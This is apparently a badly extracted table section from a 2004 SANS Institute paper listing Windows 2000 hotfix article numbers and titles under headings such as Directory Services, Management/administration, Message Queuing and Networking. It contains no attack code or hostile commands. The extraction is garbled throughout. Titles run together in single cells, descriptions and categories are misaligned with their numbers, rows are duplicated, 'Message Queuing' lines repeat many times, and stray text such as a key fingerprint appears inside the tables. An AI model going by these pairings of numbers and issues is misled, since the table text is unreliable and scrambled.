<td>Using the DCPROMO /FORCEREMOVAL Command to Force the Demotion of Active Directory Domain Controllers Cannot Promote New Global Catalog When Conflict Naming Contexts Exist Access Denied for Non-Administrative User with the Client Services for NetWare or Gateway Services for NetWare Tool in Control Panel DNS Server Settings Are Lost When You Rapidly Delete and Re-Create a Directory Service Zone from a File Error Message: The Event Log File Is Corrupt QUERYCLIENTCERT() Does Not Make a Callback on Windows 2000 Wldap32.dll Host Name Resolution Does Not Work After One Year When You Use a Hosts File Slow Response Times Occur If a Delegated Name Server Is Down DNS Service Ends Unexpectedly and Event 7031 Error Message Appears The Ntdsutil.exe Semantic Checker Cannot Rename Conflict-Mangled Phantom Names Delay in Receiving Notifications from WMI Event Log Provider Visual Basic Procedure to Count the Members of a Group Returns a Value of 1,000 for All Groups with Over 1,000 Members Paged Pool Memory Leak with Increase in Handle Count for Services.exe Ldp.exe tool remains after using the Ldp.exe tool</td>
<td>Directory Services</td>
<td>N</td>
</tr>
<tr>
<td>810262</td>
<td>Directory Services NetWare</td>
<td>Directory Services</td>
<td>N</td>
</tr>
<tr>
<td>810714</td>
<td>Directory Services Rapidly Delete and Re-Create a Directory Service Zone from a File Error Message: The Event Log File Is Corrupt QUERYCLIENTCERT() Does Not Make a Callback on Windows 2000 Wldap32.dll Host Name Resolution Does Not Work After One Year When You Use a Hosts File Slow Response Times Occur If a Delegated Name Server Is Down DNS Service Ends Unexpectedly and Event 7031 Error Message Appears The Ntdsutil.exe Semantic Checker Cannot Rename Conflict-Mangled Phantom Names Delay in Receiving Notifications from WMI Event Log Provider Visual Basic Procedure to Count the Members of a Group Returns a Value of 1,000 for All Groups with Over 1,000 Members Paged Pool Memory Leak with Increase in Handle Count for Services.exe Ldp.exe tool</td>
<td>Directory Services</td>
<td>N</td>
</tr>
<tr>
<td>811143</td>
<td>Directory Services Symbols for Dr. Watson Error Debugging installed</td>
<td>Directory Services</td>
<td>N</td>
</tr>
<tr>
<td>812175</td>
<td>Directory Services If you do not restart computer within 1 year time period delegated DNS environment with more than one name server per delegation parenthesis appears in a hostname that is contained in the DNS zone file</td>
<td>Directory Services</td>
<td>N</td>
</tr>
<tr>
<td>812785</td>
<td>Directory Services If you do not restart computer within 1 year time period delegated DNS environment with more than one name server per delegation parenthesis appears in a hostname that is contained in the DNS zone file</td>
<td>Directory Services</td>
<td>N</td>
</tr>
<tr>
<td>813425</td>
<td>Directory Services Windows Management Instrumentation (WMI) Event Log provider</td>
<td>Directory Services</td>
<td>N</td>
</tr>
<tr>
<td>814202</td>
<td>Directory Services Windows Management Instrumentation (WMI) Event Log provider</td>
<td>Directory Services</td>
<td>N</td>
</tr>
<tr>
<td>814822</td>
<td>Directory Services Windows Management Instrumentation (WMI) Event Log provider</td>
<td>Directory Services</td>
<td>N</td>
</tr>
<tr>
<td>814925</td>
<td>Directory Services Clustering</td>
<td>Directory Services</td>
<td>N</td>
</tr>
<tr>
<td>815493</td>
<td>Directory Services Ldp.exe tool from Support Tools</td>
<td>Directory Services</td>
<td>N</td>
</tr>
<tr>
<td>816475</td>
<td>Directory Services Ldp.exe tool from Support Tools</td>
<td>Directory Services</td>
<td>N</td>
</tr>
<tr>
<td>Number</td>
<td>Description</td>
<td>Details</td>
<td>Status</td>
</tr>
<tr>
<td>----------</td>
<td>------------------------------------------------------------------------------------------------------------------------</td>
<td>---------------------------------------------------------------------------------------------------</td>
<td>--------</td>
</tr>
<tr>
<td>305557</td>
<td>COM+ Loosely Coupled Events May Lose Events for Queued Subscribers</td>
<td>Under stress, the COM+ Loosely Coupled Event (LCE) system</td>
<td>N</td>
</tr>
<tr>
<td>320530</td>
<td>Cannot Enumerate Shared Property Groups</td>
<td>enumeration of shared property groups</td>
<td>N</td>
</tr>
<tr>
<td>321557</td>
<td>Improvements in the Post-SP2 Release of Ntfs.exe That Is Packaged with an Updated Ntfs.sys Driver</td>
<td>File Replication service (FRS)</td>
<td>N</td>
</tr>
<tr>
<td>321592</td>
<td>An Increase in the Maximum DHCP Message Size Is Available</td>
<td>your CD-ROM tray is in the open position</td>
<td>N</td>
</tr>
<tr>
<td>322090</td>
<td>Your Computer Stops Responding During Shutdown if the CD-ROM Tray Is Open in Windows 2000</td>
<td>Index Server through an ASP.NET page</td>
<td>N</td>
</tr>
<tr>
<td>322193</td>
<td>FIX: &quot;Access Is Denied&quot; Error Message When You Try to Access Indexing Service from ASP.NET with Impersonation Enabled</td>
<td>using Performance Logs and Alerts in Computer Management to monitor alerts</td>
<td>N</td>
</tr>
<tr>
<td>323293</td>
<td>An Increase in the Maximum DHCP Message Size Is Available</td>
<td></td>
<td>N</td>
</tr>
<tr>
<td>322934</td>
<td>Your Computer Stops Responding During Shutdown if the CD-ROM Tray Is Open in Windows 2000</td>
<td>Index Server through an ASP.NET page</td>
<td>N</td>
</tr>
<tr>
<td>324034</td>
<td>Rpcss May Generate an Access Violation Under Stress When Processing a DCOM Request</td>
<td></td>
<td>N</td>
</tr>
<tr>
<td>324039</td>
<td>INFO: Availability of Windows 2000 Post-Service Pack 2 COM+ Hotfix Rollup</td>
<td>Under Stress</td>
<td>N</td>
</tr>
<tr>
<td>324035</td>
<td>MS02-053: Request to SmartHTML Interpreter May Monopolize Web Server CPU Resources</td>
<td></td>
<td>N</td>
</tr>
<tr>
<td>324043</td>
<td>A Deadlock Condition May Occur in the Network</td>
<td>Under Stress</td>
<td>N</td>
</tr>
<tr>
<td>325028</td>
<td>GUID Records Are Not Registered If MX Record with Wildcard Character Is Present</td>
<td></td>
<td>N</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.
<table>
<thead>
<tr>
<th>Key</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>325409</td>
<td>RPCSS OXIDResolver Pings Must Fall Back to Endpoint Mapper</td>
</tr>
<tr>
<td>325455</td>
<td>Ftp.exe Does Not Handle Japanese Path Names Correctly</td>
</tr>
<tr>
<td>325641</td>
<td>Cannot Connect in the Active Directory Users and Computers Tool</td>
</tr>
<tr>
<td>325785</td>
<td>FIX: “Access Denied” Firing Event When You Are Not Logged On as Administrator</td>
</tr>
<tr>
<td>325974</td>
<td>The SMTP Service May Leak Domain List Memory When You Use the Pickup Folder</td>
</tr>
<tr>
<td>326237</td>
<td>You Receive an Access Violation in the Dllhost.exe Process When the Network Cable Is Unplugged</td>
</tr>
<tr>
<td>327009</td>
<td>FIX: Asynchronous Notification Goes to Wrong 1394 Node</td>
</tr>
<tr>
<td>328506</td>
<td>ISAPI DLL Is Loaded In-Process When WebDAV Publishing Is Enabled</td>
</tr>
<tr>
<td>328530</td>
<td>Chkdsk Finds Incorrect Security IDs After You Restore or Copy a Lot of Data</td>
</tr>
<tr>
<td>328643</td>
<td>You Receive a “Stop 0x0000001E” Error Message During Shutdown</td>
</tr>
<tr>
<td>328900</td>
<td>A “Stop 0x0000001E” Error Message Is Caused by Sfmsrv.sys</td>
</tr>
<tr>
<td>328936</td>
<td>The Windows 2000 SP3 DHCP Tool May Show an Empty Reservations List</td>
</tr>
<tr>
<td>328936</td>
<td>File Replication Service Causes a “QKey != QUADZERO” Error Message</td>
</tr>
<tr>
<td>328977</td>
<td>SNMP Extension Agent Events 2019 and 2020 Appear in the Application Event Log</td>
</tr>
</tbody>
</table>

**Notes:**
- DCOM on other systems, such as VMS
- Japanese
- located behind a domain controller that has only one network adapter uses Active Directory
- transient subscriptions or per-user transient subscriptions
- After an asynchronous operation, 1394bus
- WebDAV publishing is enabled
- After you restore or copy a lot of data
- Stop 0x000000CE” error message
- after you install Windows 2000 Service Pack 3 (SP3)
- 2000 SP3 DHCP Tool
- File Replication Service
- SNMP Extension Agent Events
The COM+ (Dllhost.exe) Process Loads the Latest Version of .NET Runtime During Remote Client Activations

The LookupAccountSid Function Returns the Wrong Name After You Rename Accounts

One or More Users Are Not Valid Error Message When You Add the Everyone Group to a COM+ Application Role

Add the Everyone Group to a COM+ Application Role

MSMQ: A Cluster Node with Two Network Cards Does Not Receive Messages

Cannot Use Outlook Web Access to Access an Exchange Server Installed on a Windows 2000 Cluster Node

FIX: SCSI Miniport Driver Does Not Reload if the PNPInterface Key is Read Incorrectly

INFO: Availability of Windows 2000 Post-Service Pack 3 COM+ Hotfix Rollup Package 23

INFO: Availability of Windows 2000 Post-Service Pack 3 COM+ Hotfix Rollup Package 24

Custom Errors for Server-Side Includes Do Not Work After You Apply Windows 2000 Service Pack 3

INFO: Availability of Windows 2000 Post-Service Pack 3 COM+ Hotfix Rollup Package 25

When You Try to Upgrade from Windows NT 4.0 to Windows 2000 with Slipstreamed SP1, SP2, or SP3, Cmdlines.txt Does Not Run During the Upgrade

FIX: Message Queuing Remote Read May Not Always Recover

Multiple Separator Pages Printed from Windows 2000 Terminal Services

Multiple Separator Pages Printed from Windows 2000 Terminal Services

Duplicate Computer Names May Be Created When You Set Up Multiple Clients with RIS

Setup Upgrade from Windows NT 4.0 to Windows 2000

Setup Blue Screen

Setup Multiple Separator Pages concurrently by using Remote Installation Services (RIS),
<table>
<thead>
<tr>
<th>Error Code</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>812812</td>
<td>Not Prompted to Obtain a Digital Rights Management License for Installations</td>
</tr>
<tr>
<td>814788</td>
<td>Setup Installations Created by Using Sysprep</td>
</tr>
<tr>
<td>815438</td>
<td>Setup RIS Installation Stops if the Network Cable Uses Port B of a Dual-Port Network</td>
</tr>
<tr>
<td>816085</td>
<td>Setup Successive Attempts to Complete a Group Policy Installation of a Service Pack May Log an Event ID 102 Error</td>
</tr>
<tr>
<td>816085</td>
<td>Setup Removing IIS Resets DCOM to the Default Permissions</td>
</tr>
<tr>
<td>281553</td>
<td>Management/a dministration Returns Incorrect ReleaseDate Value</td>
</tr>
<tr>
<td>303280</td>
<td>Management/a dministration Local Users and Groups Is Empty or Does Not Display</td>
</tr>
<tr>
<td>309144</td>
<td>Management/a dministration Folder Redirection Does Not Work After You Delete a Profile</td>
</tr>
<tr>
<td>319402</td>
<td>Management/a dministration There May Be a Delay in Mapping SIDs to Account Names If the Computer Name Contains More Than 15 Characters</td>
</tr>
<tr>
<td>319402</td>
<td>Management/a dministration The SMTP Service May Stop If You Use the TURN or ATRN Command in a Telnet Session</td>
</tr>
<tr>
<td>319402</td>
<td>Management/a dministration Windows 2000 WMI Query Only Returns 32 Disk Drives</td>
</tr>
<tr>
<td>320199</td>
<td>Management/a dministration The Win32_NetworkAdapterConfiguration Class Does Not Return the WINSPrimaryServer Property for Users</td>
</tr>
<tr>
<td>320363</td>
<td>Management/a dministration Windows Management Instrumentation Cannot Rebuild a Damaged Repository</td>
</tr>
<tr>
<td>320373</td>
<td>Management/a dministration The Computer Management Tool Tries to Use Only the DNS Host Name to Connect to a Remote Computer</td>
</tr>
<tr>
<td>320437</td>
<td>Management/a dministration Only the DNS Host Name to Connect to a Remote Computer</td>
</tr>
<tr>
<td>320489</td>
<td>Management/a dministration Windows 2000 Hyperterm.exe Has a Slow Transfer Rate If Local Echo Is On</td>
</tr>
<tr>
<td>321800</td>
<td>Management/a dministration Services Are Not Listed in the Security Configuration and Analysis Snap-in</td>
</tr>
<tr>
<td>321933</td>
<td>Management/a dministration Win32_Group Does Not Include the &quot;Domain Local&quot; Groups</td>
</tr>
</tbody>
</table>

*Note: The class `Win32_NetworkAdapterConfiguration` is used to manage network adapter configurations.*
<table>
<thead>
<tr>
<th>ID</th>
<th>Description</th>
<th>Solution</th>
<th>Verify</th>
</tr>
</thead>
<tbody>
<tr>
<td>322804</td>
<td>Cannot Use Windows Media Player to Read XA Data on 1394 CD-ROM Devices</td>
<td>The Requested Media Is Not Blank Error Message When You Use Ntbackup.exe</td>
<td>N</td>
</tr>
<tr>
<td>323704</td>
<td>SLIP Client in Windows 2000 Cannot Connect to CSLIP Server</td>
<td>FIX: COM+ 18.1 Rollup May Cause Problems When You Export COM+ Applications</td>
<td>N</td>
</tr>
<tr>
<td>324041</td>
<td>Performance-Monitoring Counters Show That the Data Buffer for the AppleTalk Service Is Not Aligned</td>
<td>Management/administration AppleTalk Service</td>
<td>N</td>
</tr>
<tr>
<td>324712</td>
<td>An ICA Asynchronous Connection May Not Reinitialize If a Problem Occurs During</td>
<td>Management/administration ICA Asynchronous Connection</td>
<td>N</td>
</tr>
<tr>
<td>325792</td>
<td>Authentication Fix: Certificate Renewal Wizard Concatenates Certificate Organizational Units</td>
<td>Management/administration Certificate Organizational Units</td>
<td>N</td>
</tr>
<tr>
<td>325827</td>
<td>Stop 0x0000006b or Setup Stops Responding at &quot;Setup is Starting Windows&quot; When You Install a Windows XP SP1 Client Image from a RIS Server</td>
<td>Management/administration Windows XP SP1</td>
<td>N</td>
</tr>
<tr>
<td>327536</td>
<td>The ISA Server Web Proxy Service Causes an Access Violation During DNS</td>
<td>Management/administration SA Server Web Proxy Service</td>
<td>N</td>
</tr>
<tr>
<td>327550</td>
<td>Lookups Files May Not Be Full-Text Indexed</td>
<td>Management/administration Notes in PowerPoint Files</td>
<td>N</td>
</tr>
<tr>
<td>328510</td>
<td>Cannot Connect to Cisco Dial-up Server with Some Client IP Address Ranges in Windows 2000</td>
<td>Management/administration Cisco Dial-up Server</td>
<td>N</td>
</tr>
<tr>
<td>328764</td>
<td>A &quot;Stop 0x000000C2&quot; Error Occurs When You Try to Close a File on a Network Share</td>
<td>Management/administration Blue Screen</td>
<td>N</td>
</tr>
<tr>
<td>328776</td>
<td>Script Policy Is Not Run When a Slow Link Is Detected</td>
<td>Management/administration a Group Policy object (GPO) to set logon scripts,</td>
<td></td>
</tr>
<tr>
<td>329184</td>
<td>Rdbss.sys May Cause STOP 0xA Error When You Remove Your USB Hub</td>
<td>Management/administration USB Hub</td>
<td>N</td>
</tr>
<tr>
<td>329175</td>
<td>This Device Cannot Start (Code 10) Error Message When You Remove Your Seagate Tape and Changer Drives Missing in Windows 2000</td>
<td>Management/administration Seagate Tape and Changer Drives</td>
<td>N</td>
</tr>
<tr>
<td>330194</td>
<td>Unnecessary Kerberos Packages Sent from the Client</td>
<td>Management/administration Kerberos Packages Sent</td>
<td>N</td>
</tr>
<tr>
<td>Number</td>
<td>Description</td>
<td>Location</td>
<td>Results</td>
</tr>
<tr>
<td>--------------</td>
<td>----------------------------------------------------------------------------------------------------------------------------------</td>
<td>-----------------------------------</td>
<td>---------</td>
</tr>
<tr>
<td>332002</td>
<td>Use the <code>/INSITE</code> Switch Some Newsgroup Items Are NotPosted to Public Folders in Exchange 2000 Even Though the Post Operations Appear to Be Successful</td>
<td>Management/administration Distributed File System</td>
<td>N</td>
</tr>
<tr>
<td>810823</td>
<td>Outgoing Messages From Your SMTP Server Are Not Delivered</td>
<td>Management/administration SMTP Server</td>
<td>N</td>
</tr>
<tr>
<td>811066</td>
<td>Active Directory Users And Computers Stops Working If a User Belongs to Groups Whose Name Contains a Leading Slash Mark</td>
<td>Management/administration Extensible Counters</td>
<td>N</td>
</tr>
<tr>
<td>811160</td>
<td>Failure Audit Event 577 Is Logged When You Save the Winmsd Report</td>
<td>Management/administration Save the Winmsd Report</td>
<td>N</td>
</tr>
<tr>
<td>811196</td>
<td>An Access Violation Occurs in the Sysmon Control When You Add or Delete Counters</td>
<td>Management/administration Delete Counters</td>
<td>N</td>
</tr>
<tr>
<td>811222</td>
<td>FIX: Error 1308 When You Install a Program from an Internet Source Location</td>
<td>Management/administration</td>
<td>N</td>
</tr>
<tr>
<td>811364</td>
<td>Internet Source Location Domain Local Groups of a Domain Do Not Appear in the &quot;Select Users, Computers, or Groups&quot; Dialog Box When You Edit a Group Policy Object</td>
<td>Management/management Edit a Group Policy Object</td>
<td>N</td>
</tr>
<tr>
<td>811965</td>
<td>The Performance Provider Unexpectedly Stops Collecting Data in Windows Management</td>
<td>Management/management</td>
<td>N</td>
</tr>
<tr>
<td>812003</td>
<td>Instrumentation NNTP Timestamp Reflects Client Computer Time and Date Settings</td>
<td>Management/management</td>
<td>N</td>
</tr>
<tr>
<td>812652</td>
<td>Users Cannot Remotely Monitor Disk Counters If They Are Not Logged On As Administrators Problems When the Data Frame Ends with</td>
<td>Management/management</td>
<td>N</td>
</tr>
<tr>
<td>812714</td>
<td>CRLF.CRLF QUIT CRLF Users Without Administrative Credentials Cannot Access SMBIOS Data in Windows Management</td>
<td>Management/management</td>
<td>N</td>
</tr>
<tr>
<td>813050</td>
<td>Instrumentation Non-Administrator Users Cannot Retrieve Win32_WMISetting Data in Windows Management</td>
<td>Management/management</td>
<td>N</td>
</tr>
<tr>
<td>813197</td>
<td>Instrumentation</td>
<td>Management/management</td>
<td>N</td>
</tr>
<tr>
<td>813824</td>
<td>Access SMBIOS Data in Windows Management Instrumentation</td>
<td>Management/management</td>
<td>N</td>
</tr>
</tbody>
</table>
Performance Monitor Displays Only the First of Multiple Instances from a Binary Log

XADM: Problems When You Try to Add Many Global Address Lists to an Offline Address List

Provider Failure Error on Computers with a Large Number of SCSI Controllers

WMI Classes Information for Multipath Drivers Is Not Displayed in WBEMTest

Some User's Programs Do Not Work Correctly After You Delete That User's Profile

Access Violation When Inetinfo Receives Mail That Contains a Header of More Than 64 KB

A Fast Link May Be Detected as a Slow Link Because of Network ICMP Policies

Server Stops Responding When Win32_NetworkLoginProfile Performs Enumeration

User Profile Folder Name Appears with Squares or Other Unusual Characters When You Manage Remote Computers

"Your Server Has Unexpectedly Terminated the Connection" Error Message When You Send an SMTP-Based E-mail Message

Multiple Memory Leaks in Remote Registry Service

Force Local Profile Option in Windows 2000

Security Descriptor Has an Empty Owner Value

CPU Utilization in Services.exe Increases to 100 Percent

Netfrs.exe Does Not Clean Up the Staging Folders on Members with No Outbound Partners in Windows 2000

You May Receive a "Stop 0xBE" Error Message on Fault-Tolerant Computers

You Cannot Delete Individual Lines in Services for NetWare 5.0 Logon Scripts

Windows XP Does Not Always Call DrvAssertMode(FALSE)
Before it Enters a Power-Down State

An Access Violation Occurs in Lsass.exe While the Network Connections Are Being Prepared

Message Queuing

An Access Violation Occurs in Lsass.exe While the Network Connections Are Being Prepared

Message Queuing

Macintosh client

N

Windows 2000 Server May Hang After a Local Backup Completes

Message Queuing

Local Backup

N

IEEE 1394 Device May Disappear When You Add New Daisy-Chain Devices

Message Queuing

DaisyChain

N

Close Open Files Message Appears During Initial Folder Synchronization When You Do Not Have Files Open

Message Queuing

Error message

N

FIX: IIS Does Not Refresh the File Cache for Non-Virtual Root Directories

Message Queuing

Internet Information Services (IIS)

N

FIX: Page Allocator Returns a Block of Memory That Is Not Writable

Message Queuing

DLLHost.Exe quits unexpectedly (crashes),

N

FIX: Performance Issues on Multi-processor Computers with MSDTCPRIX.dll

Message Queuing

Multi-processor Computers

N

MSMQ: Inherited Permissions on Queue Object May Be Ignored

Message Queuing

queue object's security descriptor is converted to Microsoft Windows NT 4.0 format

N

Microsoft Message Queue Server (MSMQ) messages

N

Message Queue Server (MSMQ) messages

N

Message Queue Server (MSMQ) messages

N

Message Queue Server (MSMQ) messages

N

Message Queue Server (MSMQ) messages

N

Message Queue Server (MSMQ) messages

N

Message Queue Server (MSMQ) messages

N

Microsoft Message Queue Server (MSMQ) messages

N

Microsoft Message Queue Server (MSMQ) messages

N

Microsoft Message Queue Server (MSMQ) messages

N

Microsoft Message Queue Server (MSMQ) messages

N
a Message

RAS Client May Not Be Authenticated When You Reconnect  
256507 Networking RAS Clients  
RAS Clients

Deadlock Condition Causes Socket Programs to Become Unresponsive  
278522 Networking Windows 2000 Service Pack 1 (SP1)

TCP/IP Routes May Be Incorrect If AddIPAddress() Is Used on Multihomed Computers  
287032 Networking Multihomed Computers When you try to compile the Accserv.mib files

Incorrect Routing Table When You Connect to Some VPN Servers  
300561 Networking VPN Servers

Clients That Are Using an ATM Adapter Do Not Receive Group Policies Using an ATM Adapter  
309696 Networking wireless local area network

Authentication on Computers Running Windows 2000  
313664 Networking Windows 2000 domain, earlier clients such as Windows NT 4.0 may not successfully join the domain

Earlier Clients May Fail to Change Passwords or Join in a Windows 2000 Domain  
316803 Networking VPN Servers

Connections Are Dropped If You Add VPN Connections to ISA Server  
318419 Networking VPN Servers

A "STOP 0xA" Error Message Occurs When You Use Routing and Remote Access  
318437 Networking Laptop

A Laptop Computer Has No IP Address After Hibernating  
319270 Networking Laptop

Fragmentation Occurs When You Send Multicast Data Over Ethernet  
319627 Networking Multicast

The SMTP Service Does Not Deliver a Message to Multiple Recipients If Error Code 552 Is Received  
321150 Networking SMTP

MS02-023: May 15, 2002, Cumulative Patch for Internet Explorer  
321232 Networking Services snap-in,

The Number in the "Reset Fail Count After" Box Changes Intel ICH4 or ICH5 southbridge  
321983 Networking Intel ICH4 or ICH5 southbridge

Intelide.sys Is Not Used on Computers with ICH4 or ICH5  
322359 Networking

Windows Explorer Does Not Detect That the CD-ROM That Was Previously in the CD Drive Has Been Replaced with a Blank CD-R  
322823 Networking CD Drive Has Been Replaced with a Blank CD-R

The StgCreateDocFile() Function Causes an "STG_E_FILEALREADYEXISTS Error in Windows 2000  
322934 Networking Not Enough Info
<table>
<thead>
<tr>
<th>Error Code</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cannot Browse Printers When You Are Trying to Print or Browse Printer Queues</td>
<td>Networking busy server with slow connections to other computers.</td>
</tr>
<tr>
<td>IAS Authentication Is Unsuccessful After You Install the 292053 Hotfix Windows Critical Update Notification 3.0 May Cause a &quot;Dirty&quot; Shutdown An SNMP Query Returns Zero When You Query for Virtual Memory Usage Contains Garbage Characters with Long URL MS02-047: August 22, 2002, Cumulative Patch for Internet Explorer The LoadLibrary() Function Cannot Find the DLL Name You Cannot Add an .msi Package to a Group Policy Object Installing an AGP Video Adapter Driver May Hang the Computer When You Restart It VPN Connections with Names Longer Than 64 Characters May Stop Working After You Install the Q318138 (MS02-029) Patch ICrmLogControl::WriteLogRecordVariants Method Causes a Memory Leak in COM+ Applications Dynamic Host Routes Are Not Removed if EnablePMTUDiscovery Is Set to Zero Random Access Violations Occur in Rpcss The Netsh Utility Cannot Create a Workgroup &lt;00&gt; Group Record Data Added to Removable Media During Hibernation May Be Lost When You Resume Windows 2000 The RPC Service Stops with Event ID 7031 Computer May Hang After a Surprise Removal of a Host Bus Controller Windows 2000 Account Operators Can Manage Their Own Accounts Dial-up Connection Uses Multiple Modems to Dial a Connection After You Select the &quot;Dial Only First&quot; Available Device” Option</td>
<td>Networking N</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>Issue Number</td>
<td>Description</td>
</tr>
<tr>
<td>--------------</td>
<td>------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>328389</td>
<td>OLEXP: Outlook Express 5.5 Rollup</td>
</tr>
<tr>
<td>328410</td>
<td>NetBT Does Not Respond to Adapter Status Query If Server and Messenger</td>
</tr>
<tr>
<td>328477</td>
<td>Services Are Stopped</td>
</tr>
<tr>
<td>328556</td>
<td>When You Restart a Service Networking Event ID 3006 in Application Log After You Upgrade Your Domain</td>
</tr>
<tr>
<td>329227</td>
<td>Controller to Service Pack 3 Networking Task Scheduler Stops</td>
</tr>
<tr>
<td>329258</td>
<td>DNS Query of Type ALL Does Not Query an Authoritative Server for the Domain</td>
</tr>
<tr>
<td>329494</td>
<td>Services.exe May Hang</td>
</tr>
<tr>
<td>329634</td>
<td>Computer Displays a Blank Screen When You Resume from an S1 or S3 Power State After You Remove an IEEE 1394 Storage Device</td>
</tr>
<tr>
<td>329847</td>
<td>IEEE 1394 Storage Device ACL Editor GUI Changes to Special When You Use</td>
</tr>
<tr>
<td>330012</td>
<td>Security Template Manager Sound May Be Lost on the Server Side of a TAPI</td>
</tr>
<tr>
<td>330753</td>
<td>Application Session Intermittent Access Violation Error Messages in Win32k!EXFORMOBJ::vGet Coefficient+0xb Occur on a Windows 2000 Service Pack</td>
</tr>
<tr>
<td>331993</td>
<td>Dial-Up Connections Do Not Appear with Cluster</td>
</tr>
<tr>
<td>381089</td>
<td>Services Installed</td>
</tr>
<tr>
<td>381092</td>
<td>Computer Displays a Blank Screen When You Resume from an S1 or S3 Power State After You Remove an IEEE 1394 Storage Device</td>
</tr>
<tr>
<td>381104</td>
<td>IEEE 1394 Storage Device ACL Editor GUI Changes to Special When You Use</td>
</tr>
<tr>
<td>381136</td>
<td>Security Template Manager Sound May Be Lost on the Server Side of a TAPI</td>
</tr>
<tr>
<td>381143</td>
<td>Application Session Intermittent Access Violation Error Messages in Win32k!EXFORMOBJ::vGet Coefficient+0xb Occur on a Windows 2000 Service Pack</td>
</tr>
<tr>
<td>381151</td>
<td>Dial-Up Connections Do Not Appear with Cluster</td>
</tr>
<tr>
<td>801039</td>
<td>Your Windows XP-Based Client Cannot Establish a VPN Connection</td>
</tr>
<tr>
<td>801092</td>
<td>Fax Program Does Not Send a Fax If the Program Calls FaxInitializeEventQueue() Multiple Times Per Fax Session</td>
</tr>
<tr>
<td>801104</td>
<td>Windows 2000 Stops Accepting Incoming TCP Connections</td>
</tr>
<tr>
<td>801136</td>
<td>RPC Error 0x800800005 Is Returned from a COM Program</td>
</tr>
<tr>
<td>801143</td>
<td>SNMP May Report an Incorrect Amount of Memory</td>
</tr>
<tr>
<td>801151</td>
<td>You Cannot Use the Secondary WINS Server to Resolve Names When the</td>
</tr>
<tr>
<td>801163</td>
<td>Primary WINS Server Is</td>
</tr>
<tr>
<td>Code</td>
<td>Issue Description</td>
</tr>
<tr>
<td>--------</td>
<td>-----------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>811657</td>
<td>WSAIoctl (SIO_SET_QOS) Returns SUCCESS When It Should Return FAIL; Network Load</td>
</tr>
<tr>
<td>811914</td>
<td>A DNS Server May Not Respond to Some DNS Queries; DNS Server not responding</td>
</tr>
<tr>
<td>812707</td>
<td>STOP 0x0000001E Error Message in Tcpip.sys When Server Is Under a Heavy Network Load</td>
</tr>
<tr>
<td>814119</td>
<td>FIX: RPC Bug Causes Threads to Stop Responding in ASP/COM+ Applications</td>
</tr>
<tr>
<td>814250</td>
<td>Refresh the Display Remote Procedure Call Datagram Runtime Component Leaks Firewall Ports</td>
</tr>
<tr>
<td>815182</td>
<td>There Was an Error Found When Printing the Document Error Message When You Print a Document Over an Infrared Port</td>
</tr>
<tr>
<td>816924</td>
<td>Cannot Connect to a Network Share over a VPN Stop Error 0x000000D1 When You Use Host Integration Server to Connect to a Mainframe Computer That Is Using the DLC Protocol</td>
</tr>
<tr>
<td>817367</td>
<td>Network Monitor Protocol Causes Stop Code 0x0D1 When Closing Adapter Random Problems in the RPC Runtime in the Cluster Service</td>
</tr>
<tr>
<td>817864</td>
<td>When Closing Adapter Random Problems in the RPC Runtime in the Cluster Service</td>
</tr>
<tr>
<td>818177</td>
<td>EnableAutoDial Registry Key Is Set Incorrectly Default French (Canada) Locale Settings for Long Date and Currency Do Not Match the Quebec Standard Other</td>
</tr>
<tr>
<td>315315</td>
<td>Match the Quebec Standard Other Wildap32 Truncates the &quot;binary&quot; Option in the Search Filter</td>
</tr>
<tr>
<td>316982</td>
<td>SLIP Connections Broadcast NetBIOS Names When the Client Is Turned Off</td>
</tr>
<tr>
<td>319102</td>
<td>Search Filter</td>
</tr>
<tr>
<td>319725</td>
<td>Wldap32 Truncates the &quot;;binary&quot; Option in the Search Filter</td>
</tr>
<tr>
<td>Key fingerprint: AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46</td>
<td></td>
</tr>
<tr>
<td>---</td>
<td>---</td>
</tr>
<tr>
<td>Universal Serial Bus 2.0 Support in Windows 2000 Other Bus support N</td>
<td></td>
</tr>
<tr>
<td>The RichEdit Text Control May Replace CR-LF in the Output Other Text N</td>
<td></td>
</tr>
<tr>
<td>Scan Function May Not Work On USB Multifunction Printers Other USB Multifunction Printers Terminal Services N</td>
<td></td>
</tr>
<tr>
<td>FIX: Message Queuing Performance Monitor Counters Do Not Work over Terminal Services Other N</td>
<td></td>
</tr>
<tr>
<td>Memory Leak in WDM Provider's ExecMethodAsync Method in Windows XP and Windows 2000 Other WDM Provider's SessionSetup N</td>
<td></td>
</tr>
<tr>
<td>Net3101 Error on OS/2 Server Because of SessionSetup SMB Other Remote Installation Group Object N</td>
<td></td>
</tr>
<tr>
<td>Windows 2000 Is Unexpectedly Installed On a Newly Created Account Other N</td>
<td></td>
</tr>
<tr>
<td>During Remote Installation Cannot Bind Directly to a Group Object with the Winnt Provider Other N</td>
<td></td>
</tr>
<tr>
<td>Cannot Add a User or Group to a Trusted Domain Access Violation Occurs If You Call IADsTools from Other Add User Visual Studio 6 N</td>
<td></td>
</tr>
<tr>
<td>Visual Studio 6 Outlook Express May Hang When You Send Mail with a Long Line Error Other Dial-up N</td>
<td></td>
</tr>
<tr>
<td>Outlook Express May Hang When You Send Mail with a Long Line Error 735 Error Message and Dial-Up Networking Connection Appears Connected Although You Are Disconnected Other Outlook Express N</td>
<td></td>
</tr>
<tr>
<td>Are Disconnected FIX: Access Violation During Application Center Replication Other Application center replication N</td>
<td></td>
</tr>
<tr>
<td>USB Keyboard and Mouse Devices Do Not Work Correctly If You Reconnect Them While Windows Is Running You Cannot Add a Printer by Using the CNAME Cannot Print a Large Paper Size at High Resolution A Default Printer That Is Not Available May Cause a Delay in Programs You Cannot Print to a Local Printer After Windows 2000 Service Pack 2 Is Installed Problems Upgrading a User-Mode Print Driver By Using Point and Print Clients Open Hundreds of Pipes to \Pipe\Spoolss on Print Servers Other USB Keyboard and Mouse Devices Use CNAME Large paper at high res Delay in programs N</td>
<td></td>
</tr>
<tr>
<td>Other USB Multifunction Printers Terminal Services N</td>
<td></td>
</tr>
<tr>
<td>Other N</td>
<td></td>
</tr>
<tr>
<td>Other N</td>
<td></td>
</tr>
<tr>
<td>Other Add User Visual Studio 6 N</td>
<td></td>
</tr>
<tr>
